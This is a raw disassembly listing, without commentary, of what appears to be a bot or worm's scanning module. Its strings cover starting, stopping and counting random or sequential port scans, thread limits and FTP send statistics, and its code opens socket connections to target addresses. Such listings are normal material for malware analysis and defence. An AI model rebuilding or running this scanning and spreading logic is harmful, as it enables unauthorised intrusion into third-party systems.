; =============== S U B R O U T I N E =======================================
sub_422600 proc near ; CODE XREF: sub_401E60j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401F9B
pop ecx
retn 4
sub_422600 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422620 proc near ; CODE XREF: sub_401A2Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_42263B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_42263B: ; CODE XREF: sub_422620+11j
retn
sub_422620 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422650 proc near ; CODE XREF: sub_40201Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_422650
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+10h+arg_0]
push eax
push 19h
call sub_4011CC
add esp, 8
mov [esp+10h+var_10], eax
test eax, eax
mov [esp+10h+var_4], 0
jz short loc_422691
mov ecx, [esp+10h+arg_4]
push ecx
mov ecx, eax
call sub_401677
loc_422691: ; CODE XREF: sub_422650+33j
mov ecx, [esp+10h+var_C]
mov large fs:0, ecx
add esp, 10h
retn
sub_422650 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4226E0 proc near ; CODE XREF: sub_401ED3j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_4226E0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+10h+arg_0]
push eax
push 15h
call sub_4011CC
add esp, 8
mov [esp+10h+var_10], eax
test eax, eax
mov [esp+10h+var_4], 0
jz short loc_422721
mov ecx, [esp+10h+arg_4]
push ecx
mov ecx, eax
call sub_4014C9
loc_422721: ; CODE XREF: sub_4226E0+33j
mov ecx, [esp+10h+var_C]
mov large fs:0, ecx
add esp, 10h
retn
sub_4226E0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422750 proc near ; CODE XREF: sub_401A78j
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push 0
call sub_4019BA
retn
sub_422750 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422770 proc near ; CODE XREF: sub_401F9Bj
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push 0
mov eax, [ecx]
call dword ptr [eax]
retn
sub_422770 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422790 proc near ; CODE XREF: sub_401677j
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
push edi
call sub_4014C9
mov eax, [edi+15h]
pop edi
mov [esi+15h], eax
mov eax, esi
pop esi
retn 4
sub_422790 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4227C0 proc near ; CODE XREF: sub_4019BAj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401A6E
test [esp+4+arg_0], 1
jz short loc_4227D8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_4227D8: ; CODE XREF: sub_4227C0+Dj
mov eax, esi
pop esi
retn 4
sub_4227C0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4227F0 proc near ; CODE XREF: sub_401AE1j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4227F0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 10h
push 9
push 3
push 4Fh
push 16h
push 4
lea eax, [esp+60h+var_3C]
push 1
mov esi, ecx
push eax
mov dword_4D5FBB, offset aAsn ; "asn"
call sub_4019B5
add esp, 24h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017E4
lea ecx, [esi+8D008h]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
sub_4227F0 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 14h
push 12h
push 1
push 14h
push 13h
push 4Fh
push 16h
push 4
lea edx, [esp+2Ch]
push 1
push edx
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017E4
push eax
lea eax, [esi+8D036h]
push eax
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 0Fh
push 14h
push 13h
push 4Fh
push 0Eh
push 1
push 3
lea ecx, [esp+2Ch]
push 13h
push ecx
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017E4
lea edx, [esi+8D064h]
push eax
push edx
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 13h
push 14h
push 1
push 14h
push 13h
push 4Fh
push 16h
push 4
lea eax, [esp+2Ch]
push 1
push eax
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017E4
lea ecx, [esi+8D092h]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 13h
push 14h
push 1
push 14h
push 13h
push 4Fh
push 10h
push 14h
lea edx, [esp+44h]
push 6
push edx
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017E4
add esi, 8D0C0h
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422A40 proc near ; CODE XREF: sub_40138Ej
var_78D = byte ptr -78Dh
var_78C = dword ptr -78Ch
var_788 = byte ptr -788h
var_780 = dword ptr -780h
var_770 = byte ptr -770h
var_760 = byte ptr -760h
var_6E0 = byte ptr -6E0h
var_660 = dword ptr -660h
var_65C = dword ptr -65Ch
var_658 = dword ptr -658h
var_654 = dword ptr -654h
var_650 = dword ptr -650h
var_644 = dword ptr -644h
var_640 = dword ptr -640h
var_638 = dword ptr -638h
var_634 = dword ptr -634h
var_630 = dword ptr -630h
var_624 = byte ptr -624h
var_60C = byte ptr -60Ch
var_40C = byte ptr -40Ch
var_20C = byte ptr -20Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_422A40
push eax
mov large fs:0, esp
sub esp, 784h
push ebx
push ebp
push esi
mov esi, [esp+79Ch+arg_0]
mov ebp, ecx
push edi
lea edi, [esi+7Eh]
lea ecx, [ebp+8D008h]
call sub_4014D3
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_422B0A
push 3
call sub_401483
add esp, 4
test eax, eax
jle short loc_422ADD
push 3
call sub_401D8E
mov eax, dword_50BB80[eax*8]
add esp, 4
push eax
call near ptr 71AB3F41h
nop
push eax
push offset aScanCipS ; "scan: cip (%s)"
lea ecx, [esi+2Ah]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D60A5
call sub_401848
add esp, 18h
mov al, 1
jmp loc_422E3B
; ---------------------------------------------------------------------------
loc_422ADD: ; CODE XREF: sub_422A40+52j
lea ecx, [esi+2Ah]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push offset aScanNotStarted ; "scan: not started"
push edx
push eax
mov ecx, offset byte_4D60A5
call sub_401118
mov al, 1
jmp loc_422E3B
; ---------------------------------------------------------------------------
loc_422B0A: ; CODE XREF: sub_422A40+40j
lea ecx, [ebp+8D0C0h]
call sub_4014D3
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_422BB0
mov edi, dword_4D63A0
push offset asc_443600 ; " "
lea ecx, [esp+7A4h+var_788]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 0
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov ebx, eax
mov [esp+7A0h+var_4], 0FFFFFFFFh
call sub_401226
cmp edi, ebx
jl loc_4231BD
mov edx, dword_44767F
push edi
push edx
push offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d"
lea ecx, [esi+2Ah]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D60A5
call sub_401848
add esp, 1Ch
mov al, 1
jmp loc_422E3B
; ---------------------------------------------------------------------------
loc_422BB0: ; CODE XREF: sub_422A40+DFj
lea ecx, [ebp+8D064h]
call sub_4014D3
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_422C30
push eax
push 3
call sub_401D93
add esp, 8
test eax, eax
jle short loc_422C05
push eax
push offset aScanStoppedDTh ; "scan: stopped (%d threads)"
lea ecx, [esi+2Ah]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
add esp, 18h
jmp loc_422E39
; ---------------------------------------------------------------------------
loc_422C05: ; CODE XREF: sub_422A40+194j
lea ecx, [esi+2Ah]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push offset aScanCouldnTSto ; "scan: couldn't stop"
push ecx
push edx
mov ecx, offset byte_4D60A5
call sub_401118
jmp loc_422E39
; ---------------------------------------------------------------------------
loc_422C30: ; CODE XREF: sub_422A40+185j
lea ecx, [ebp+8D036h]
call sub_4014D3
push eax
mov ecx, edi
call sub_4012EE
mov edi, dword_50FB08
test eax, eax
jnz loc_422CDE
push 3
call sub_401483
add esp, 4
mov ebx, eax
lea eax, [esp+7A0h+var_788]
mov ecx, esi
push offset asc_443600 ; " "
push 2
push eax
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 1
call sub_4017E4
push eax
call edi
add eax, ebx
add esp, 4
cmp eax, 1F4h
lea ecx, [esp+7A0h+var_788]
setnle [esp+7A0h+var_78D]
mov [esp+7A0h+var_4], 0FFFFFFFFh
call sub_401226
mov al, [esp+7A0h+var_78D]
test al, al
jz loc_422E56
push ebx
push offset aScanTooManyThr ; "scan: too many threads (%s)"
lea ecx, [esi+2Ah]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 18h
loc_422CDE: ; CODE XREF: sub_422A40+20Bj
lea ecx, [ebp+8D092h]
call sub_4014D3
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_422E39
push offset asc_443600 ; " "
lea eax, [esp+7A4h+var_624]
push 1
push eax
mov ecx, esi
xor ebx, ebx
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 0Ah
call sub_4017E4
push eax
call edi
add esp, 4
lea ecx, [esp+7A0h+var_624]
mov edi, eax
mov [esp+7A0h+var_4], 0FFFFFFFFh
call sub_401226
mov eax, dword_444438
mov [esp+7A0h+var_78D], bl
test eax, eax
jz short loc_422D69
mov eax, offset dword_444438
loc_422D55: ; CODE XREF: sub_422A40+327j
cmp [eax+8], edi
jb short loc_422D5F
mov [esp+7A0h+var_78D], 1
loc_422D5F: ; CODE XREF: sub_422A40+318j
mov ecx, [eax+3Ch]
add eax, 3Ch
test ecx, ecx
jnz short loc_422D55
loc_422D69: ; CODE XREF: sub_422A40+30Ej
mov ebp, dword_50FBF0
lea ecx, [esp+7A0h+var_60C]
push offset aScanStats ; "scan: stats:"
push ecx
call ebp
mov eax, dword_444438
add esp, 8
test eax, eax
jz short loc_422DCF
mov edi, offset dword_444440
loc_422D8F: ; CODE XREF: sub_422A40+38Dj
mov eax, [edi]
lea edx, [edi-26h]
add ebx, eax
push eax
push edx
lea eax, [esp+7A8h+var_40C]
push offset aSD ; " %s: %d,"
push eax
call ebp
lea ecx, [esp+7B0h+var_40C]
push 200h
lea edx, [esp+7B4h+var_60C]
push ecx
push edx
call near ptr 77C47920h
nop
mov eax, [edi+34h]
add edi, 3Ch
add esp, 1Ch
test eax, eax
jnz short loc_422D8F
loc_422DCF: ; CODE XREF: sub_422A40+348j
push ebx
lea eax, [esp+7A4h+var_40C]
push offset aTotalD ; " total: %d"
push eax
call ebp
lea ecx, [esp+7ACh+var_40C]
push 200h
lea edx, [esp+7B0h+var_60C]
push ecx
push edx
nop
call near ptr 77C47920h
mov al, [esp+7B8h+var_78D]
add esp, 18h
test al, al
jz short loc_422E29
xor eax, eax
lea ecx, [esp+7A0h+var_60C]
mov al, [esi+94h]
push eax
push ecx
lea ecx, [esi+2Ah]
call sub_4014D3
push eax
push 0
call sub_401523
add esp, 10h
loc_422E29: ; CODE XREF: sub_422A40+3C3j
lea edx, [esp+7A0h+var_60C]
push edx
call sub_4010D2
add esp, 4
loc_422E39: ; CODE XREF: sub_422A40+1C0j
; sub_422A40+1EBj ...
xor al, al
loc_422E3B: ; CODE XREF: sub_422A40+98j
; sub_422A40+C5j ...
mov ecx, [esp+7A0h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 790h
retn 4
; ---------------------------------------------------------------------------
loc_422E56: ; CODE XREF: sub_422A40+26Ej
push offset asc_443600 ; " "
lea eax, [esp+7A4h+var_788]
push 1
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 2
call sub_4017E4
push eax
call edi
or ebx, 0FFFFFFFFh
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_65C], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+7A4h+var_788]
push 2
push ecx
mov ecx, esi
call sub_4016AE
mov ebp, 3
mov ecx, eax
mov [esp+7A0h+var_4], ebp
call sub_4017E4
push eax
call edi
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_644], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+7A4h+var_788]
push ebp
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 4
call sub_4017E4
push eax
call edi
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_658], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
mov eax, [esp+7A0h+var_658]
cmp eax, ebp
jnb short loc_422F33
mov [esp+7A0h+var_658], ebp
jmp short loc_422F43
; ---------------------------------------------------------------------------
loc_422F33: ; CODE XREF: sub_422A40+4E8j
cmp eax, 3Ch
jbe short loc_422F43
mov [esp+7A0h+var_658], 3Ch
loc_422F43: ; CODE XREF: sub_422A40+4F1j
; sub_422A40+4F6j
push offset asc_443600 ; " "
lea eax, [esp+7A4h+var_788]
push 4
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 5
call sub_4017E4
push eax
call edi
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_654], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
mov ecx, [esp+7A0h+var_654]
mov eax, 960h
cmp ecx, eax
jbe short loc_422F9C
mov [esp+7A0h+var_654], eax
loc_422F9C: ; CODE XREF: sub_422A40+553j
mov eax, dword_444438
mov [esp+7A0h+var_640], ebx
test eax, eax
mov [esp+7A0h+var_78C], 0
jz loc_42306C
mov ebp, offset dword_444438
jmp short loc_422FC2
; ---------------------------------------------------------------------------
loc_422FBF: ; CODE XREF: sub_422A40+602j
or ebx, 0FFFFFFFFh
loc_422FC2: ; CODE XREF: sub_422A40+57Dj
push offset asc_443600 ; " "
lea ecx, [esp+7A4h+var_788]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 6
call sub_4017E4
mov edi, eax
lea ecx, [ebp-28h]
loc_422FEC: ; CODE XREF: sub_422A40+5CAj
mov dl, [ecx]
mov al, dl
cmp dl, [edi]
jnz short loc_423010
test al, al
jz short loc_42300C
mov dl, [ecx+1]
mov al, dl
cmp dl, [edi+1]
jnz short loc_423010
add ecx, 2
add edi, 2
test al, al
jnz short loc_422FEC
loc_42300C: ; CODE XREF: sub_422A40+5B6j
xor eax, eax
jmp short loc_423014
; ---------------------------------------------------------------------------
loc_423010: ; CODE XREF: sub_422A40+5B2j
; sub_422A40+5C0j
sbb eax, eax
sbb eax, ebx
loc_423014: ; CODE XREF: sub_422A40+5CEj
test eax, eax
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_4], 0FFFFFFFFh
setz bl
call sub_401226
test bl, bl
jnz short loc_42304A
mov edx, [esp+7A0h+var_78C]
mov eax, [ebp+3Ch]
add ebp, 3Ch
inc edx
test eax, eax
mov [esp+7A0h+var_78C], edx
jnz loc_422FBF
jmp short loc_423069
; ---------------------------------------------------------------------------
loc_42304A: ; CODE XREF: sub_422A40+5EFj
mov ecx, [esp+7A0h+var_78C]
mov [esp+7A0h+var_640], ecx
lea eax, [ecx+ecx*2]
lea eax, [eax+eax*4]
mov edx, dword_444438[eax*4]
mov [esp+7A0h+var_65C], edx
loc_423069: ; CODE XREF: sub_422A40+608j
or ebx, 0FFFFFFFFh
loc_42306C: ; CODE XREF: sub_422A40+572j
mov eax, [esp+7A0h+var_65C]
test eax, eax
jnz short loc_42308A
lea ecx, [esi+2Ah]
call sub_4014D3
push eax
push offset aScanInvalidPor ; "scan: invalid port"
jmp loc_4231A5
; ---------------------------------------------------------------------------
loc_42308A: ; CODE XREF: sub_422A40+635j
push offset asc_443600 ; " "
lea edx, [esp+7A4h+var_788]
push 5
push edx
mov ecx, esi
call sub_4016AE
push offset dword_443DC4
mov ecx, eax
mov [esp+7A4h+var_4], 7
call sub_4013E3
lea ecx, [esp+7A0h+var_788]
mov edi, eax
mov [esp+7A0h+var_4], ebx
call sub_401226
test edi, edi
jz loc_423167
push offset asc_443600 ; " "
lea eax, [esp+7A4h+var_788]
push 5
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+7A0h+var_4], 8
call sub_4017E4
push eax
lea ecx, [esp+7A4h+var_770]
push 10h
push ecx
call near ptr 77C3FA76h
nop
add esp, 0Ch
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_4], ebx
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+7A4h+var_788]
push 5
push edx
mov ecx, esi
call sub_4016AE
push 78h
mov ecx, eax
mov [esp+7A4h+var_4], 9
call sub_4017E4
push eax
nop
call near ptr 77C47660h
add esp, 8
lea ecx, [esp+7A0h+var_788]
neg eax
sbb eax, eax
mov [esp+7A0h+var_4], ebx
neg eax
mov [esp+7A0h+var_630], eax
call sub_401226
jmp loc_423296
; ---------------------------------------------------------------------------
loc_423167: ; CODE XREF: sub_422A40+688j
push offset aR ; " -r"
mov ecx, esi
call sub_4013E3
test eax, eax
jnz short loc_4231C4
push offset aA ; " -a"
mov ecx, esi
call sub_4013E3
test eax, eax
jnz short loc_4231C4
push offset aB ; " -b"
mov ecx, esi
call sub_4013E3
test eax, eax
jnz short loc_4231C4
lea ecx, [esi+2Ah]
call sub_4014D3
push eax
push offset aScanNoIpSpecif ; "scan: no ip specified"
loc_4231A5: ; CODE XREF: sub_422A40+645j
mov al, [esi+94h]
mov cl, [esi+93h]
push eax
push ecx
mov ecx, offset byte_4D60A5
call sub_401118
loc_4231BD: ; CODE XREF: sub_422A40+132j
mov al, 1
jmp loc_422E3B
; ---------------------------------------------------------------------------
loc_4231C4: ; CODE XREF: sub_422A40+735j
; sub_422A40+745j ...
mov ecx, dword_4D60BD
lea edx, [esp+7A0h+var_78C]
lea eax, [esp+7A0h+var_788]
push edx
push eax
push ecx
mov [esp+7ACh+var_78C], 10h
call near ptr 71AB951Eh
nop
push offset aA ; " -a"
mov ecx, esi
call sub_4013E3
mov edx, eax
mov eax, [esp+79Ch+var_780]
neg edx
sbb edx, edx
push 10h
and edx, 0FFFF0100h
add edx, 0FFFFh
and eax, edx
push eax
mov [esp+7A4h+var_780], eax
call near ptr 71AB3F41h
nop
push eax
lea eax, [esp+7A8h+var_770]
push eax
call near ptr 77C47A90h
nop
add esp, 0Ch
mov ecx, esi
push offset aR ; " -r"
call sub_4013E3
test eax, eax
jz short loc_42328B
push offset aA ; " -a"
mov ecx, esi
call sub_4013E3
mov ebp, dword_50FA90
mov edi, eax
neg edi
sbb edi, edi
lea ecx, [esp+7A0h+var_770]
neg edi
push 30h
push ecx
add edi, 2
call ebp
add esp, 8
xor bl, bl
test edi, edi
jle short loc_42327E
loc_423262: ; CODE XREF: sub_422A40+83Cj
test eax, eax
jz short loc_42327E
lea edx, [esp+7A0h+var_770]
push 30h
push edx
mov byte ptr [eax], 78h
call ebp
add esp, 8
inc bl
movsx ecx, bl
cmp ecx, edi
jl short loc_423262
loc_42327E: ; CODE XREF: sub_422A40+820j
; sub_422A40+824j
mov [esp+7A0h+var_630], 1
jmp short loc_423296
; ---------------------------------------------------------------------------
loc_42328B: ; CODE XREF: sub_422A40+7F1j
mov [esp+7A0h+var_630], 0
loc_423296: ; CODE XREF: sub_422A40+722j
; sub_422A40+849j
mov edx, dword_4D60BD
xor eax, eax
mov al, [esi+93h]
lea edi, [esi+2Ah]
mov ecx, edi
mov [esp+7A0h+var_660], edx
mov [esp+7A0h+var_638], 0
mov [esp+7A0h+var_634], eax
call sub_4017E4
push eax
lea ecx, [esp+7A4h+var_760]
push 80h
push ecx
nop
call near ptr 77C3FA76h
mov eax, [esp+7ACh+var_630]
add esp, 0Ch
test eax, eax
mov [esp+7A0h+var_6E0], 0
mov eax, offset aRandom ; "random"
jnz short loc_4232F8
mov eax, offset aSequential ; "sequential"
loc_4232F8: ; CODE XREF: sub_422A40+8B1j
mov edx, [esp+7A0h+var_644]
mov ecx, [esp+7A0h+var_654]
push edx
mov edx, [esp+7A4h+var_658]
push ecx
mov ecx, [esp+7A8h+var_65C]
push edx
lea edx, [esp+7ACh+var_770]
push ecx
push edx
push eax
mov eax, [esp+7B8h+var_640]
lea eax, [eax+eax*2]
lea eax, [eax+eax*4]
lea ecx, ds:44441Ah[eax*4]
push ecx
push offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"...
mov ecx, edi
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60A5
call sub_401848
push 0
lea ecx, [esp+7D4h+var_20C]
push 3
push ecx
call sub_401BD6
add esp, 3Ch
lea edx, [esp+7A0h+var_770]
mov [esp+7A0h+var_650], eax
push edx
call sub_402261
mov al, 1
jmp loc_422E3B
sub_422A40 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 260h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4235F0 proc near ; CODE XREF: sub_40114Fj
arg_A6 = dword ptr 0AAh
arg_AE = dword ptr 0B2h
mov ecx, [esp+arg_AE]
push ebx
test ecx, ecx
push offset byte_446F60
mov ecx, offset dword_447988
setnz bl
call sub_4014D3
push eax
push ebx
push ebx
push offset byte_4D60A5
call sub_401848
mov eax, [esp+18h+arg_A6]
add esp, 14h
lea eax, [eax+eax*2]
pop ebx
lea eax, [eax+eax*4]
mov ecx, dword_444440[eax*4]
inc ecx
mov dword_444440[eax*4], ecx
mov al, 1
retn
sub_4235F0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423660 proc near ; CODE XREF: sub_401DF7j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 14h
xor eax, eax
lea ecx, [esp+14h+var_14]
mov [esp+14h+var_10], eax
lea edx, [esp+14h+var_10]
mov [esp+14h+var_C], eax
push ecx
mov [esp+18h+var_8], eax
push edx
mov [esp+1Ch+var_4], eax
mov eax, [esp+1Ch+arg_0]
push eax
mov [esp+20h+var_14], 10h
call near ptr 71AB951Eh
nop
mov ecx, [esp+14h+var_C+3]
mov edx, [esp+14h+var_C+2]
mov eax, [esp+14h+var_C+1]
and ecx, 0FFh
push ecx
mov ecx, [esp+18h+var_C]
and edx, 0FFh
and eax, 0FFh
push edx
and ecx, 0FFh
push eax
push ecx
push offset aD_D_D_D ; "%d.%d.%d.%d"
push offset dword_50DAD8
call near ptr byte_5EA1BD
nop
mov eax, offset dword_50DAD8
add esp, 2Ch
retn
sub_423660 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423720 proc near ; CODE XREF: sub_401F37j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, dword_50BB80[esi*8]
push eax
nop
call near ptr 71AB2BC0h
inc eax
push eax
nop
call near ptr 71AB2BC0h
mov dword_50BB80[esi*8], eax
pop esi
retn
sub_423720 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423760 proc near ; CODE XREF: sub_401131j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
mov edx, [esp+10h+arg_0]
push ebx
or ebx, 0FFFFFFFFh
push edi
mov edi, edx
mov ecx, ebx
xor eax, eax
mov [esp+18h+var_8], ebx
repne scasb
not ecx
dec ecx
mov [esp+18h+var_C], ebx
cmp ecx, 0Fh
mov [esp+18h+var_10], ebx
mov [esp+18h+var_4], ebx
jbe short loc_423792
pop edi
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_423792: ; CODE XREF: sub_423760+2Aj
lea eax, [esp+18h+var_4]
push esi
lea ecx, [esp+1Ch+var_10]
push eax
push ecx
lea eax, [esp+24h+var_C]
lea ecx, [esp+24h+var_8]
push eax
push ecx
push offset aD_D_D_D ; "%d.%d.%d.%d"
push edx
nop
call near ptr 77C41B72h
mov eax, [esp+34h+var_8]
mov esi, dword_50FABC
add esp, 18h
cmp eax, ebx
jnz short loc_4237CA
call esi
mov [esp+1Ch+var_8], eax
loc_4237CA: ; CODE XREF: sub_423760+62j
cmp [esp+1Ch+var_C], ebx
jnz short loc_4237D6
call esi
mov [esp+1Ch+var_C], eax
loc_4237D6: ; CODE XREF: sub_423760+6Ej
cmp [esp+1Ch+var_10], ebx
jnz short loc_4237E2
call esi
mov [esp+1Ch+var_10], eax
loc_4237E2: ; CODE XREF: sub_423760+7Aj
mov eax, [esp+1Ch+var_4]
cmp eax, ebx
jnz short loc_4237EC
call esi
loc_4237EC: ; CODE XREF: sub_423760+88j
mov edi, [esp+1Ch+var_10]
mov edx, [esp+1Ch+var_C]
shl eax, 8
mov ecx, [esp+1Ch+arg_4]
add eax, edi
shl eax, 8
add eax, edx
mov edx, [esp+1Ch+var_8]
shl eax, 8
add eax, edx
pop esi
pop edi
mov dword_50BB80[ecx*8], eax
pop ebx
add esp, 10h
retn
sub_423760 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423850 proc near ; CODE XREF: sub_401E38j
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = word ptr -114h
var_112 = word ptr -112h
var_110 = dword ptr -110h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 120h
push esi
push edi
mov edi, 1
push 0
push edi
push 2
mov [esp+134h+var_120], edi
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_42387E
pop edi
xor eax, eax
pop esi
add esp, 120h
retn
; ---------------------------------------------------------------------------
loc_42387E: ; CODE XREF: sub_423850+21j
mov ecx, [esp+128h+arg_4]
mov eax, [esp+128h+arg_0]
push ecx
mov [esp+12Ch+var_114], 2
mov [esp+12Ch+var_110], eax
nop
call near ptr 71AB2B66h
lea edx, [esp+128h+var_120]
mov [esp+128h+var_112], ax
push edx
push 8004667Eh
push esi
nop
call near ptr 71AB4519h
lea eax, [esp+128h+var_114]
push 10h
push eax
push esi
nop
call near ptr 71AB406Ah
mov ecx, [esp+128h+arg_8]
